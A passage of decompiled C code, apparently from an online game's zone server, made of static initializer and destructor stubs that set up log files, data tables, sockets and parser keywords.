EraseOldLogList("MobRegenLog"); atexit(_E31_10); } //----- (0059D360) -------------------------------------------------------- void __cdecl _E33_1() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("LoginLinkLog"); atexit(_E34_8); } //----- (0059D3B0) -------------------------------------------------------- void __cdecl _E36_1() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("ServiceLog"); atexit(_E37_7); } //----- (0059D400) -------------------------------------------------------- void __cdecl _E39_1() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("DisconnectLog"); atexit(_E40_7); } //----- (0059D450) -------------------------------------------------------- void __cdecl _E42_1() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("DisconnectLog2"); atexit(_E43_7); } //----- (0059D4A0) -------------------------------------------------------- void __cdecl _E45_1() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("WMSPacketLog"); atexit(_E46_8); } //----- (0059D4F0) -------------------------------------------------------- void __cdecl _E48_1() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("LinkLog"); atexit(_E49_8); } //----- (0059D540) -------------------------------------------------------- void __cdecl _E51_1() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("Abstate2WMS"); atexit(_E52_5); } //----- (0059D590) -------------------------------------------------------- void __cdecl _E54_1() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("GoldHillLog"); atexit(_E55_4); } //----- (0059D5E0) -------------------------------------------------------- void __cdecl _E57_1() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("MapRelink"); atexit(_E58_4); } //----- (0059D630) -------------------------------------------------------- void __cdecl _E60_1() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("PassiveLog"); atexit(_E61_4); } //----- (0059D680) -------------------------------------------------------- void __cdecl _E63_1() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("FuncInitLog"); atexit(_E64_3); } //----- (0059D6D0) -------------------------------------------------------- void __cdecl _E66_0() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"ChargedItemLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&ChargedItemLog - "ChargedItemLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); ChargedItemLog.dl_FilePointer = 0; EraseOldLogList("ChargedItemLog"); ChargedItemLog.dl_Activ = 1; atexit(_E67_3); } //----- (0059D720) -------------------------------------------------------- void __cdecl _E69_0() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("TreasureBoxLog"); atexit(_E70_3); } //----- (0059D770) -------------------------------------------------------- void __cdecl _E72_1() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("PineScript"); atexit(_E73_2); } //----- (0059D7C0) -------------------------------------------------------- void __cdecl _E75_0() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("GuildwarLog"); atexit(_E76_3); } //----- (0059D810) -------------------------------------------------------- void __cdecl _E78_1() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("GuildwarLog2"); atexit(_E79_2); } //----- (0059D860) -------------------------------------------------------- void __cdecl _E81_0() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("GuildwarLog3"); atexit(_E82_2); } //----- (0059D8B0) -------------------------------------------------------- void __cdecl _E84_1() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("CharClassBugLog"); atexit(_E85_3); } //----- (0059D900) -------------------------------------------------------- void __cdecl _E87_0() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("ChargedItemVanishLog"); atexit(_E88_3); } //----- (0059D950) -------------------------------------------------------- void __cdecl _E90() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("HorseLog"); atexit(_E91_2); } //----- (0059D9A0) -------------------------------------------------------- void __cdecl _E93_0() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("HPLog"); atexit(_E94_2); } //----- (0059D9F0) -------------------------------------------------------- void __cdecl _E96() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("AttackFailLog"); atexit(_E97_2); } //----- (0059DA40) -------------------------------------------------------- void __cdecl _E99() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("ScriptChase"); atexit(_E100_1); } //----- (0059DA90) -------------------------------------------------------- void __cdecl _E102() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("SkillCastNotFinish"); atexit(_E103_0); } //----- (0059DAE0) -------------------------------------------------------- void __cdecl _E105() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("OpToolSockLog"); atexit(_E106_0); } //----- (0059DB30) -------------------------------------------------------- void __cdecl _E108() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("PartyErrorLog"); atexit(_E109_0); } //----- (0059DB80) -------------------------------------------------------- void __cdecl _E111() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("KQRewardLog"); atexit(_E112_0); } //----- (0059DBD0) -------------------------------------------------------- void __cdecl _E114() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("DeadCheckLog"); atexit(_E115_0); } //----- (0059DC20) -------------------------------------------------------- void __cdecl _E117() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("DropItemLog"); atexit(_E118_0); } //----- (0059DC70) -------------------------------------------------------- void __cdecl _E120() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("BriefChangeInBoothLog"); atexit(_E121_0); } //----- (0059DCC0) -------------------------------------------------------- void __cdecl _E123() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("AbStatKeepTimeLog"); atexit(_E124_0); } //----- (0059DD10) -------------------------------------------------------- void __cdecl _E126() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("KQEntryLog"); atexit(_E127_0); } //----- (0059DD60) -------------------------------------------------------- void __cdecl _E129() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("KQTournamentLog"); atexit(_E130_0); } //----- (0059DDB0) -------------------------------------------------------- void __cdecl _E132() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("PlayerRegNumLog"); atexit(_E133_0); } //----- (0059DE00) -------------------------------------------------------- void __cdecl _E135() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("HPCharge"); atexit(_E136_0); } //----- (0059DE50) -------------------------------------------------------- void __cdecl _E138() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"KQLogoutLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&KQLogoutLog - "KQLogoutLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); KQLogoutLog.dl_FilePointer = 0; EraseOldLogList("KQLogoutLog"); KQLogoutLog.dl_Activ = 1; atexit(_E139_0); } //----- (0059DEA0) -------------------------------------------------------- void __cdecl _E141() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("AttackImmortal"); atexit(_E142_0); } //----- (0059DEF0) -------------------------------------------------------- void __cdecl _E144() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"MoreDisconnectLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&MoreDisconnectLog - "MoreDisconnectLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); MoreDisconnectLog.dl_FilePointer = 0; EraseOldLogList("MoreDisconnectLog"); MoreDisconnectLog.dl_Activ = 1; atexit(_E145_0); } //----- (0059DF40) -------------------------------------------------------- void __cdecl _E147() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("PartyInformLog"); atexit(_E148_0); } //----- (0059DF90) -------------------------------------------------------- void __cdecl _E150() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("WMHRepairLog"); atexit(_E151_0); } //----- (0059DFE0) -------------------------------------------------------- void __cdecl _E153() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"InnerMiniHouseLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&InnerMiniHouseLog - "InnerMiniHouseLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); InnerMiniHouseLog.dl_FilePointer = 0; EraseOldLogList("InnerMiniHouseLog"); InnerMiniHouseLog.dl_Activ = 1; atexit(_E154_0); } //----- (0059E030) -------------------------------------------------------- void __cdecl _E156_0() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("ItemRelocLog"); atexit(_E157); } //----- (0059E080) -------------------------------------------------------- void __cdecl _E159() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("MobItemDropLog"); atexit(_E160_0); } //----- (0059E0D0) -------------------------------------------------------- void __cdecl _E162_0() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("GuildWarRefreshLog"); atexit(_E163); } //----- (0059E120) -------------------------------------------------------- void __cdecl _E165() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("PacketLengthOverLog"); atexit(_E166_0); } //----- (0059E170) -------------------------------------------------------- void __cdecl _E168_0() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"SocketMultiplicateLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&SocketMultiplicateLog - "SocketMultiplicateLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); SocketMultiplicateLog.dl_FilePointer = 0; EraseOldLogList("SocketMultiplicateLog"); SocketMultiplicateLog.dl_Activ = 1; atexit(_E169); } //----- (0059E1C0) -------------------------------------------------------- void __cdecl _E171() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("HolyPromiseLog"); atexit(_E172_0); } //----- (0059E210) -------------------------------------------------------- void __cdecl _E174() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"LockIndexLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&LockIndexLog - "LockIndexLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); LockIndexLog.dl_FilePointer = 0; EraseOldLogList("LockIndexLog"); LockIndexLog.dl_Activ = 1; atexit(_E175_0); } //----- (0059E260) -------------------------------------------------------- void __cdecl _E177() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"GuildTournamentLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&GuildTournamentLog - "GuildTournamentLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); GuildTournamentLog.dl_FilePointer = 0; EraseOldLogList("GuildTournamentLog"); GuildTournamentLog.dl_Activ = 1; atexit(_E178); } //----- (0059E2B0) -------------------------------------------------------- void __cdecl _E180() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"ShineObjectHandleLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&ShineObjectHandleLog - "ShineObjectHandleLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); ShineObjectHandleLog.dl_FilePointer = 0; EraseOldLogList("ShineObjectHandleLog"); ShineObjectHandleLog.dl_Activ = 1; atexit(_E181); } //----- (0059E300) -------------------------------------------------------- void __cdecl _E183() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"DebugLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)(&DebugMessage - (_UNKNOWN *)"DebugLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); dword_12572228 = 0; EraseOldLogList("DebugLog"); byte_125723AC = 1; atexit(_E184); } // 12572228: using guessed type int dword_12572228; // 125723AC: using guessed type char byte_125723AC; //----- (0059E350) -------------------------------------------------------- void __cdecl _E187() { EventHeartPing::EventHeartPing(&eventheartping); atexit(_E188); } //----- (0059E370) -------------------------------------------------------- void __cdecl _E190() { EventMobRegen::EventMobRegen(&eventmobregen); atexit(_E191); } //----- (0059E390) -------------------------------------------------------- void __cdecl _E193() { EventReserveContainer::EventReserveContainer((EventReserveContainer *)&zonevent, 1000); atexit(_E194); } //----- (0059E3B0) -------------------------------------------------------- void __cdecl _E196() { MapDataBox::MapDataBox(&mapdatabox); atexit(_E197); } //----- (0059E3D0) -------------------------------------------------------- void __cdecl _E199() { MobDataBox::MobDataBox(&mobdatabox, (char *)0xFFFFFFFF); atexit(_E200); } //----- (0059E3F0) -------------------------------------------------------- void __cdecl _E202() { ItemDataBox::ItemDataBox(&itemdatabox, (char *)0xFFFFFFFF, 0); atexit(_E203); } //----- (0059E410) -------------------------------------------------------- void __cdecl _E205() { ZoneServer::ZoneServer(&zoneserver); atexit(_E206); } //----- (0059E430) -------------------------------------------------------- void __cdecl _E208() { ZoneConnectSession::ZoneConnectSession(&zoneconnect); atexit(_E209); } //----- (0059E450) -------------------------------------------------------- void __cdecl _E211() { SocketBundle::SocketBundle((SocketBundle *)&sock2gameDB, 20); atexit(_E212); } //----- (0059E470) -------------------------------------------------------- void __cdecl _E214() { SocketBundle::SocketBundle((SocketBundle *)&sock2gamelog, 600); atexit(_E215); } //----- (0059E490) -------------------------------------------------------- void __cdecl _E217() { SocketBundle::SocketBundle(&sock2wldman, 20); atexit(_E218); } //----- (0059E4B0) -------------------------------------------------------- void __cdecl _E220() { strncpy(dashtoken, (const char *)&stru_5A4E3C.maa_TargetSelect.targetlist.mam_Array[9].mts_LastHit, 0x14u); atexit(_E221); } //----- (0059E4D0) -------------------------------------------------------- void __cdecl _E223() { MobHatchery::MobHatchery((MobHatchery *)&mobhat); atexit(_E224); } //----- (0059E4F0) -------------------------------------------------------- void __cdecl _E4_52() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("QuestLog"); atexit(_E5_78); } //----- (0059E540) -------------------------------------------------------- void __cdecl _E3_24() { std::basic_string_std::allocator>::assign( &NPCAction::ActionGen_OptionReader::tableName_, "NPCAction", 9u); atexit(_E4_88); } //----- (0059E560) -------------------------------------------------------- void __cdecl _E3_25() { std::basic_string_std::allocator>::assign( &NPCAction::CondGen_OptionReader::tableName_, "NPCCondition", 0xCu); atexit(_E4_89); } //----- (0059E580) -------------------------------------------------------- void __cdecl _E3_26() { NPCAction::Manager::Manager((AbnormalStateShelter::AbstateShelter *)&conditionManager); atexit(_E4_90); } //----- (0059E5A0) -------------------------------------------------------- void __cdecl _E6_9() { NPCAction::Manager::Manager((AbnormalStateShelter::AbstateShelter *)&actionManager); atexit(_E7_59); } //----- (0059E5C0) -------------------------------------------------------- void __cdecl _E9_5() { std::map>_std::less_std::allocator>>>>::map>_std::less_std::allocator>>>>((std::map >,std::less,std::allocator > > > > *)&triggerDic); atexit(_E10_29); } //----- (0059E5E0) -------------------------------------------------------- void __cdecl _E3_27() { std::basic_string_std::allocator>::assign( &NPCAction::TriggerGen_OptionReader::tableName_, "Trigger", 7u); atexit(_E4_91); } //----- (0059E600) -------------------------------------------------------- void __cdecl _E1_27() { atexit(_E2_27); } //----- (0059E610) -------------------------------------------------------- void __cdecl _E4_53() { std::map>_std::less_std::allocator>>>>::map>_std::less_std::allocator>>>>((std::map >,std::less,std::allocator > > > > *)&GuildTournamentLvGapTable::sm_mapBalanceDatas); atexit(_E5_79); } //----- (0059E630) -------------------------------------------------------- void __cdecl _E3_28() { std::map_std::allocator>>::map_std::allocator>>((std::map,std::allocator > > *)&MysteryVaultTable::sm_ItemLists); atexit(_E4_92); } //----- (0059E650) -------------------------------------------------------- void __cdecl _E1_28() { Navigator::WaitingList::WaitingList((Navigator::WaitingList *)&waitlist); atexit(_E2_28); } //----- (0059E670) -------------------------------------------------------- void __cdecl _E3_29() { BossFieldContent::ServentBuffBossTable::ServentBuffBossTable(&BossFieldContent::g_ServentBuffBossTable); atexit(_E4_93); } //----- (0059E690) -------------------------------------------------------- void __cdecl _E6_10() { BossFieldContent::ListOfMobStateCheckAtDead::ListOfMobStateCheckAtDead(&BossFieldContent::g_ListOfMobStateCheckAtDead); atexit(_E7_60); } //----- (0059E6B0) -------------------------------------------------------- void __cdecl _E9_6() { BossFieldContent::MobAutomaticActionList::MobAutomaticActionList(&BossFieldContent::g_MobAutomaticActionList); atexit(_E10_30); } //----- (0059E6D0) -------------------------------------------------------- void __cdecl _E1_29() { atexit(_E2_29); } //----- (0059E6E0) -------------------------------------------------------- void __cdecl _E1_30() { RecallPointTable::RecallPointTable(&shinescriptetc); atexit(_E2_30); } //----- (0059E700) -------------------------------------------------------- void __cdecl _E4_54() { RecallPointTable::RecallPointTable(&shinescriptmenusting); atexit(_E5_82); } //----- (0059E720) -------------------------------------------------------- void __cdecl _E7_31() { KQScriptManager::KQScriptManager(&kqscriptmanager); atexit(_E8_38); } //----- (0059E740) -------------------------------------------------------- void __cdecl _E1_31() { RandomBox::RandomBox(&rndbox); atexit(_E2_31); } //----- (0059E760) -------------------------------------------------------- void __cdecl _E1_32() { MobResistTable::MobResistTable(&mobresisttable); atexit(_E2_32); } //----- (0059E780) -------------------------------------------------------- void __cdecl _E1_33() { ItemAttributeClassContainer::ItemAttributeClassContainer(&itmattcontainer); atexit(_E2_33); } //----- (0059E7A0) -------------------------------------------------------- void __cdecl _E1_34() { charinvenman.cim_Array[0] = (ItemBag *(__thiscall *)(CharacterInventoryManager *, CharacterInventory *))ShineObjectClass::ShineObject::so_mh_PortalOpen; charinvenman.cim_Array[1] = (ItemBag *(__thiscall *)(CharacterInventoryManager *, CharacterInventory *))ShineObjectClass::ShineObject::so_mh_PortalOpen; charinvenman.cim_Array[2] = (ItemBag *(__thiscall *)(CharacterInventoryManager *, CharacterInventory *))ShineObjectClass::ShineObject::so_mh_PortalOpen; charinvenman.cim_Array[3] = (ItemBag *(__thiscall *)(CharacterInventoryManager *, CharacterInventory *))ShineObjectClass::ShineObject::so_mh_PortalOpen; charinvenman.cim_Array[4] = (ItemBag *(__thiscall *)(CharacterInventoryManager *, CharacterInventory *))ShineObjectClass::ShineObject::so_mh_PortalOpen; charinvenman.cim_Array[5] = (ItemBag *(__thiscall *)(CharacterInventoryManager *, CharacterInventory *))ShineObjectClass::ShineObject::so_mh_PortalOpen; charinvenman.cim_Array[6] = (ItemBag *(__thiscall *)(CharacterInventoryManager *, CharacterInventory *))ShineObjectClass::ShineObject::so_mh_PortalOpen; charinvenman.cim_Array[10] = (ItemBag *(__thiscall *)(CharacterInventoryManager *, CharacterInventory *))ShineObjectClass::ShineObject::so_mh_PortalOpen; charinvenman.cim_Array[11] = (ItemBag *(__thiscall *)(CharacterInventoryManager *, CharacterInventory *))ShineObjectClass::ShineObject::so_mh_PortalOpen; charinvenman.cim_Array[13] = (ItemBag *(__thiscall *)(CharacterInventoryManager *, CharacterInventory *))ShineObjectClass::ShineObject::so_mh_PortalOpen; charinvenman.cim_Array[14] = (ItemBag *(__thiscall *)(CharacterInventoryManager *, CharacterInventory *))ShineObjectClass::ShineObject::so_mh_PortalOpen; charinvenman.cim_Array[15] = (ItemBag *(__thiscall *)(CharacterInventoryManager *, CharacterInventory *))ShineObjectClass::ShineObject::so_mh_PortalOpen; charinvenman.cim_Array[16] = (ItemBag *(__thiscall *)(CharacterInventoryManager *, CharacterInventory *))ShineObjectClass::ShineObject::so_mh_PortalOpen; charinvenman.cim_Array[7] = CharacterInventoryManager::cim_quest; charinvenman.cim_Array[8] = ShineObjectClass::ShineObject::so_fill_PROTO_NC_CHAR_MAPLOGIN_ACK; charinvenman.cim_Array[9] = CharacterInventoryManager::cim_inven; charinvenman.cim_Array[12] = CharacterInventoryManager::cim_minihouse; atexit(_E2_34); } //----- (0059E830) -------------------------------------------------------- void __cdecl _E4_55() { atexit(_E5_83); } //----- (0059E840) -------------------------------------------------------- void __cdecl _E7_32() { atexit(_E8_39); } //----- (0059E850) -------------------------------------------------------- void __cdecl _E1_35() { CParty::PARTY_SLOT::PARTY_SLOT(&CParty::p_def); atexit(_E2_35); } //----- (0059E870) -------------------------------------------------------- void __cdecl _E1_36() { strncpy(ORTable::ort_Index, "index", 0x14u); atexit(_E2_36); } //----- (0059E890) -------------------------------------------------------- void __cdecl _E4_56() { strncpy(ORTable::ort_String, "string", 0x14u); atexit(_E5_84); } //----- (0059E8B0) -------------------------------------------------------- void __cdecl _E7_33() { strncpy(ORTable::ort_Byte, "byte", 0x14u); atexit(_E8_40); } //----- (0059E8D0) -------------------------------------------------------- void __cdecl _E10_17() { strncpy(ORTable::ort_Word, "word", 0x14u); atexit(_E11_34); } //----- (0059E8F0) -------------------------------------------------------- void __cdecl _E13_12() { strncpy(ORTable::ort_Dwrd, "dwrd", 0x14u); atexit(_E14_17); } //----- (0059E910) -------------------------------------------------------- void __cdecl _E16_12() { strncpy(ORTable::ort_Dword, "dword", 0x14u); atexit(_E17_20); } //----- (0059E930) -------------------------------------------------------- void __cdecl _E19_8() { strncpy(OptionReader::or_CommentMark, "comment", 0x14u); atexit(_E20_11); } //----- (0059E950) -------------------------------------------------------- void __cdecl _E22_7() { strncpy(OptionReader::or_Brace, "brace", 0x14u); atexit(_E23_11); } //----- (0059E970) -------------------------------------------------------- void __cdecl _E25_7() { strncpy(OptionReader::or_Ignore, "ignore", 0x14u); atexit(_E26_9); } //----- (0059E990) -------------------------------------------------------- void __cdecl _E28_6() { strncpy(OptionReader::or_Delimiter, "delimiter", 0x14u); atexit(_E29_10); } //----- (0059E9B0) -------------------------------------------------------- void __cdecl _E31_6() { strncpy(OptionReader::or_Exchange, "exchange", 0x14u); atexit(_E32_8); } //----- (0059E9D0) -------------------------------------------------------- void __cdecl _E34_5() { strncpy(OptionReader::or_Table.ort_Name, "table", 0x14u); atexit(_E35_6); } //----- (0059E9F0) -------------------------------------------------------- void __cdecl _E37_4() { strncpy(OptionReader::or_ColumnType.ort_Name, "columntype", 0x14u); atexit(_E38_5); } //----- (0059EA10) -------------------------------------------------------- void __cdecl _E40_4() { strncpy(OptionReader::or_ColumnName.ort_Name, "columnname", 0x14u); atexit(_E41_4); } //----- (0059EA30) -------------------------------------------------------- void __cdecl _E43_4() { strncpy(OptionReader::or_Record.ort_Name, "record", 0x14u); atexit(_E44_5); } //----- (0059EA50) -------------------------------------------------------- void __cdecl _E46_4() { strncpy(OptionReader::or_RecordIn.ort_Name, "recordin", 0x14u); atexit(_E47_5); } //----- (0059EA70) -------------------------------------------------------- void __cdecl _E49_4() { strncpy(OptionReader::or_End, "end", 0x14u); atexit(_E50_3); } //----- (0059EA90) -------------------------------------------------------- void __cdecl _E1_37() { RewardData::RewardData(&rewarddata); atexit(_E2_37); } //----- (0059EAB0) -------------------------------------------------------- void __cdecl _E4_57() { ItemOptionsData::ItemOptionsData(&itemoptiondata); atexit(_E5_85); } //----- (0059EAD0) -------------------------------------------------------- void __cdecl _E1_38() { _eh_vector_constructor_iterator_( &IOBufferList, 0x808u, 16, (void (__thiscall *)(void *))IOBufferContainer::IOBufferContainer, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); atexit(_E2_38); } //----- (0059EB00) -------------------------------------------------------- CIOBuffer::CSlot *__cdecl _E4_58() { CIOBuffer::CSlot *result; // eax@1 signed int v1; // ecx@1 result = g_slotBuffer; v1 = 16; do { result->m_pBuffer = 0; result->m_lock.lock = 0; ++result; --v1; } while ( v1 ); return result; } //----- (0059EB20) -------------------------------------------------------- void __cdecl _E1_39() { CShnDataFileCheckSum::CShnDataFileCheckSum(&ShnDataFile); atexit(_E2_39); } //----- (0059EB40) -------------------------------------------------------- void __cdecl _E1_40() { std::map_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>>::map_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>>((std::map,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator > *)&CQuestParserScript::m_MapConvertIndexNames); atexit(_E2_40); } //----- (0059EB56) -------------------------------------------------------- void __cdecl _E1_41() { std::_Init_locks::_Init_locks(&initlocks); atexit(_E2_41); } //----- (0059EB6C) -------------------------------------------------------- void __cdecl _E1_42() { atexit(_E2_42); } //----- (0059EB78) -------------------------------------------------------- void __cdecl _E1_43() { std::_Init_locks::_Init_locks(&initlocks_0); atexit(_E2_44); } //----- (0059EB8E) -------------------------------------------------------- void __cdecl _E4_59() { atexit(_E5_86); } //----- (0059EBB0) -------------------------------------------------------- void __cdecl _E11_1() { AbnormalStateContainer::AbnormalStateList::_AbnormalStateList(&abstatetemplate); } //----- (0059EBC0) -------------------------------------------------------- void __cdecl _E5_0() { AbnormalStateContainer::ActorCluster::_ActorCluster(&actorcluster); } //----- (0059EBD0) -------------------------------------------------------- void __cdecl _E2() { PassiveDataBox::_PassiveDataBox(&dic_subabstate); } //----- (0059EBE0) -------------------------------------------------------- void __cdecl _E5_1() { AbnormalStateDictionary::AbState::_AbState(&dic_abstate); } //----- (0059EBF0) -------------------------------------------------------- void __cdecl _E4_60() { AbnormalStateShelter::AbstateShelter::_AbstateShelter(&g_AbstateShelter); } //----- (0059EC10) -------------------------------------------------------- void __cdecl _E8_3() { AmpersandCommand::_AmpersandCommand(&cmd); } //----- (0059EC20) -------------------------------------------------------- void __cdecl _E2_0() { AttackRhythm::AttackRhythm_Melee::_AttackRhythm_Melee((AttackRhythm::AttackRhythm_Mob *)&attrhythm_melee); } //----- (0059EC30) -------------------------------------------------------- void __cdecl _E5_3() { AttackRhythm::AttackRhythm_Melee::_AttackRhythm_Melee((AttackRhythm::AttackRhythm_Mob *)&attrhythm_range); } //----- (0059EC40) -------------------------------------------------------- void __cdecl _E8_4() { AttackRhythm::AttackRhythm_Melee::_AttackRhythm_Melee(&attrhythm_mob); } //----- (0059ECF0) -------------------------------------------------------- void __cdecl _E5_5() { BattleObjectGroup::BattleObjectList::_BattleObjectList(&btlobjlist); } //----- (0059ED00) -------------------------------------------------------- void __cdecl _E14_1() { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator::_ChargedItemEffectDataBox(&chargedbuffdatabox); } //----- (0059EEF0) -------------------------------------------------------- void __cdecl _E5_9() { ChargedItemEffectDataBox::_ChargedItemEffectDataBox(&minihousedatabox); } //----- (0059EF00) -------------------------------------------------------- void __cdecl _E8_6() { ChargedItemEffectDataBox::_ChargedItemEffectDataBox(&minihousefurnituredatabox); } //----- (0059EF10) -------------------------------------------------------- void __cdecl _E11_4() { RidePetDataBox::_RidePetDataBox((RidePetDataBox *)&ridedatabox); } //----- (0059EF60) -------------------------------------------------------- void __cdecl _E5_11() { WholeSaver::_WholeSaver(&wholesaver); } //----- (0059F050) -------------------------------------------------------- void __cdecl _E33_3() { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator::_MemoryQueue(&queue_GuildReName); } //----- (0059F2A0) -------------------------------------------------------- void __cdecl _E5_23() { GuildStorage::GuildStorageManager::_GuildStorageManager(&gldstoramanager); } //----- (0059F2D0) -------------------------------------------------------- void __cdecl _E5_24() { _eh_vector_destructor_iterator_( >Map, 0xDu, 32, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } // C8F1EF8: using guessed type struct __unnamed *GTMap; //----- 